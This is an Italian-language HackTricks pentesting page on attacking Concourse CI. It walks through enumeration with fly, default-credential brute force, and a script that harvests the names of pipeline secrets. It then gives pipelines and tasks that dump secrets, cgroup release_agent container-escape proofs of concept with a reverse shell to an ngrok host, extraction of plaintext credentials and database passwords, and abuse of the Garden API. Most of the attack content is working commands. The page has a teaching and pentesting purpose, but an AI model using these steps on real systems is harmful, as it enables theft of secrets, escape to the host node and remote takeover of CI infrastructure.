Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

Support HackTricks

User Roles & Permissions

Concourse viene fornito con cinque ruoli:

  • Concourse Admin: Questo ruolo è assegnato solo ai proprietari del team principale (team concourse iniziale predefinito). Gli admin possono configurare altri team (es.: fly set-team, fly destroy-team...). I permessi di questo ruolo non possono essere influenzati da RBAC.

  • owner: I proprietari del team possono modificare tutto all'interno del team.

  • member: I membri del team possono leggere e scrivere all'interno delle risorse del team ma non possono modificare le impostazioni del team.

  • pipeline-operator: Gli operatori della pipeline possono eseguire operazioni sulla pipeline come attivare build e fissare risorse, tuttavia non possono aggiornare le configurazioni della pipeline.

  • viewer: I visualizzatori del team hanno accesso "in sola lettura" a un team e alle sue pipeline.

Inoltre, i permessi dei ruoli owner, member, pipeline-operator e viewer possono essere modificati configurando RBAC (configurando più specificamente le sue azioni). Leggi di più al riguardo in: https://concourse-ci.org/user-roles.html

Nota che Concourse raggruppa le pipeline all'interno dei Team. Pertanto, gli utenti appartenenti a un Team saranno in grado di gestire quelle pipeline e possono esistere diversi Team. Un utente può appartenere a più Team e avere permessi diversi all'interno di ciascuno di essi.

Vars & Credential Manager

Nei file di configurazione YAML puoi configurare valori utilizzando la sintassi ((_source-name_:_secret-path_._secret-field_)). Dal documento: Il source-name è facoltativo, e se omesso, verrà utilizzato il gestore delle credenziali a livello di cluster, oppure il valore può essere fornito staticamente. Il secret-field facoltativo specifica un campo sul segreto recuperato da leggere. Se omesso, il gestore delle credenziali può scegliere di leggere un 'campo predefinito' dalla credenziale recuperata se il campo esiste. Inoltre, il secret-path e il secret-field possono essere racchiusi tra virgolette doppie "..." se contengono caratteri speciali come . e :. Ad esempio, ((source:"my.secret"."field:1")) imposterà il secret-path su my.secret e il secret-field su field:1.

Static Vars

Le variabili statiche possono essere specificate nei passaggi delle attività:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Or usando i seguenti fly argomenti:

  • -v o --var NAME=VALUE imposta la stringa VALUE come valore per la var NAME.

  • -y o --yaml-var NAME=VALUE analizza VALUE come YAML e lo imposta come valore per la var NAME.

  • -i o --instance-var NAME=VALUE analizza VALUE come YAML e lo imposta come valore per la var di istanza NAME. Vedi Raggruppamento delle Pipeline per saperne di più sulle var di istanza.

  • -l o --load-vars-from FILE carica FILE, un documento YAML contenente la mappatura dei nomi delle var ai valori, e li imposta tutti.

Gestione delle Credenziali

Ci sono diversi modi in cui un Gestore di Credenziali può essere specificato in una pipeline, leggi come in https://concourse-ci.org/creds.html. Inoltre, Concourse supporta diversi gestori di credenziali:

Nota che se hai qualche tipo di accesso in scrittura a Concourse puoi creare lavori per esfiltrare quei segreti poiché Concourse deve essere in grado di accedervi.

Enumerazione di Concourse

Per enumerare un ambiente concourse devi prima raccogliere credenziali valide o trovare un token autenticato probabilmente in un file di configurazione .flyrc.

Login e enumerazione dell'Utente Corrente

  • Per effettuare il login devi conoscere l'endpoint, il nome del team (il predefinito è main) e un team a cui appartiene l'utente:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Ottieni i target configurati:

  • fly targets

  • Verifica se la connessione al target configurato è ancora valida:

  • fly -t <target> status

  • Ottieni il ruolo dell'utente rispetto al target indicato:

  • fly -t <target> userinfo

Nota che il token API è salvato in $HOME/.flyrc per impostazione predefinita, se stai saccheggiando una macchina potresti trovare lì le credenziali.

Team e Utenti

  • Ottieni un elenco dei Team

  • fly -t <target> teams

  • Ottieni i ruoli all'interno del team

  • fly -t <target> get-team -n <team-name>

  • Ottieni un elenco di utenti

  • fly -t <target> active-users

Pipeline

  • Elenca le pipeline:

  • fly -t <target> pipelines -a

  • Ottieni il yaml della pipeline (informazioni sensibili potrebbero essere trovate nella definizione):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Ottieni tutte le var dichiarate nella config della pipeline

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Ottieni tutti i nomi dei segreti delle pipeline utilizzati (se puoi creare/modificare un lavoro o dirottare un contenitore potresti esfiltrarli):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Contenitori e Lavoratori

  • Elenca lavoratori:

  • fly -t <target> workers

  • Elenca contenitori:

  • fly -t <target> containers

  • Elenca build (per vedere cosa è in esecuzione):

  • fly -t <target> builds

Attacchi Concourse

Brute-Force delle Credenziali

  • admin:admin

  • test:test

Enumerazione di segreti e parametri

Nella sezione precedente abbiamo visto come puoi ottenere tutti i nomi e le variabili dei segreti utilizzati dalla pipeline. Le variabili potrebbero contenere informazioni sensibili e il nome dei segreti sarà utile in seguito per cercare di rubarli.

Sessione all'interno di un contenitore in esecuzione o recentemente eseguito

Se hai privilegi sufficienti (ruolo membro o superiore) sarai in grado di elencare pipeline e ruoli e semplicemente ottenere una sessione all'interno del contenitore <pipeline>/<job> utilizzando:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Con questi permessi potresti essere in grado di:

  • Rubare i segreti all'interno del container

  • Provare a fuggire verso il nodo

  • Enumerare/Abusare dell'endpoint cloud metadata (dal pod e dal nodo, se possibile)

Creazione/Modifica della Pipeline

Se hai privilegi sufficienti (ruolo di membro o superiore) sarai in grado di creare/modificare nuove pipeline. Controlla questo esempio:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Con la modifica/creazione di un nuovo pipeline sarai in grado di:

  • Rubare i segreti (facendo un echo o entrando nel container e eseguendo env)

  • Evasione al nodo (dandoti abbastanza privilegi - privileged: true)

  • Enumerare/Abusare dell'endpoint cloud metadata (dal pod e dal nodo)

  • Eliminare il pipeline creato

Esegui un Compito Personalizzato

Questo è simile al metodo precedente, ma invece di modificare/creare un intero nuovo pipeline puoi semplicemente eseguire un compito personalizzato (che sarà probabilmente molto più furtivo):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Uscire verso il nodo da un'attività privilegiata

Nelle sezioni precedenti abbiamo visto come eseguire un'attività privilegiata con concourse. Questo non darà al contenitore esattamente lo stesso accesso del flag privilegiato in un contenitore docker. Ad esempio, non vedrai il dispositivo del filesystem del nodo in /dev, quindi l'uscita potrebbe essere più "complessa".

Nel seguente PoC utilizzeremo il release_agent per uscire con alcune piccole modifiche:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Come avrai notato, questo è solo un escape regolare del release_agent modificando semplicemente il percorso del cmd nel nodo

Uscire verso il nodo da un contenitore Worker

Un escape regolare del release_agent con una modifica minore è sufficiente per questo:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Uscire verso il nodo dal contenitore Web

Anche se il contenitore web ha alcune difese disabilitate, non viene eseguito come un comune contenitore privilegiato (ad esempio, non puoi montare e le capacità sono molto limitate, quindi tutti i modi facili per uscire dal contenitore sono inutili).

Tuttavia, memorizza credenziali locali in chiaro:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Puoi utilizzare quelle credenziali per accedere al server web e creare un contenitore privilegiato ed evadere al nodo.

Nell'ambiente puoi anche trovare informazioni per accedere all'istanza postgresql che concourse utilizza (indirizzo, nome utente, password e database tra le altre informazioni):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Abusare del Servizio Garden - Non un vero attacco

Queste sono solo alcune note interessanti sul servizio, ma poiché ascolta solo su localhost, queste note non presenteranno alcun impatto che non abbiamo già sfruttato in precedenza.

Per impostazione predefinita, ogni worker di concourse eseguirà un servizio Garden sulla porta 7777. Questo servizio è utilizzato dal Web master per indicare al worker cosa deve eseguire (scaricare l'immagine ed eseguire ogni attività). Questo sembra piuttosto interessante per un attaccante, ma ci sono alcune buone protezioni:

  • È esposto solo localmente (127..0.0.1) e penso che quando il worker si autentica contro il Web con il servizio SSH speciale, viene creato un tunnel in modo che il server web possa comunicare con ogni servizio Garden all'interno di ogni worker.

  • Il server web monitora i container in esecuzione ogni pochi secondi, e i container inaspettati vengono eliminati. Quindi, se vuoi eseguire un container personalizzato, devi manipolare la comunicazione tra il server web e il servizio garden.

I worker di Concourse vengono eseguiti con privilegi elevati sui container:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Tuttavia, tecniche come mounting il dispositivo /dev del nodo o release_agent non funzioneranno (poiché il vero dispositivo con il filesystem del nodo non è accessibile, solo uno virtuale). Non possiamo accedere ai processi del nodo, quindi fuggire dal nodo senza exploit del kernel diventa complicato.

Nella sezione precedente abbiamo visto come fuggire da un contenitore privilegiato, quindi se possiamo eseguire comandi in un contenitore privilegiato creato dal lavoratore corrente, potremmo fuggire al nodo.

Nota che giocando con concourse ho notato che quando un nuovo contenitore viene generato per eseguire qualcosa, i processi del contenitore sono accessibili dal contenitore del lavoratore, quindi è come se un contenitore creasse un nuovo contenitore al suo interno.

Entrare in un contenitore privilegiato in esecuzione

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Creazione di un nuovo container privilegiato

Puoi creare molto facilmente un nuovo container (basta eseguire un UID casuale) ed eseguire qualcosa su di esso:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Tuttavia, il server web controlla ogni pochi secondi i container in esecuzione e, se ne viene scoperto uno inaspettato, verrà eliminato. Poiché la comunicazione avviene in HTTP, potresti manomettere la comunicazione per evitare l'eliminazione di container inaspettati:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Riferimenti

  • https://concourse-ci.org/vars.html

Supporta HackTricks

Last updated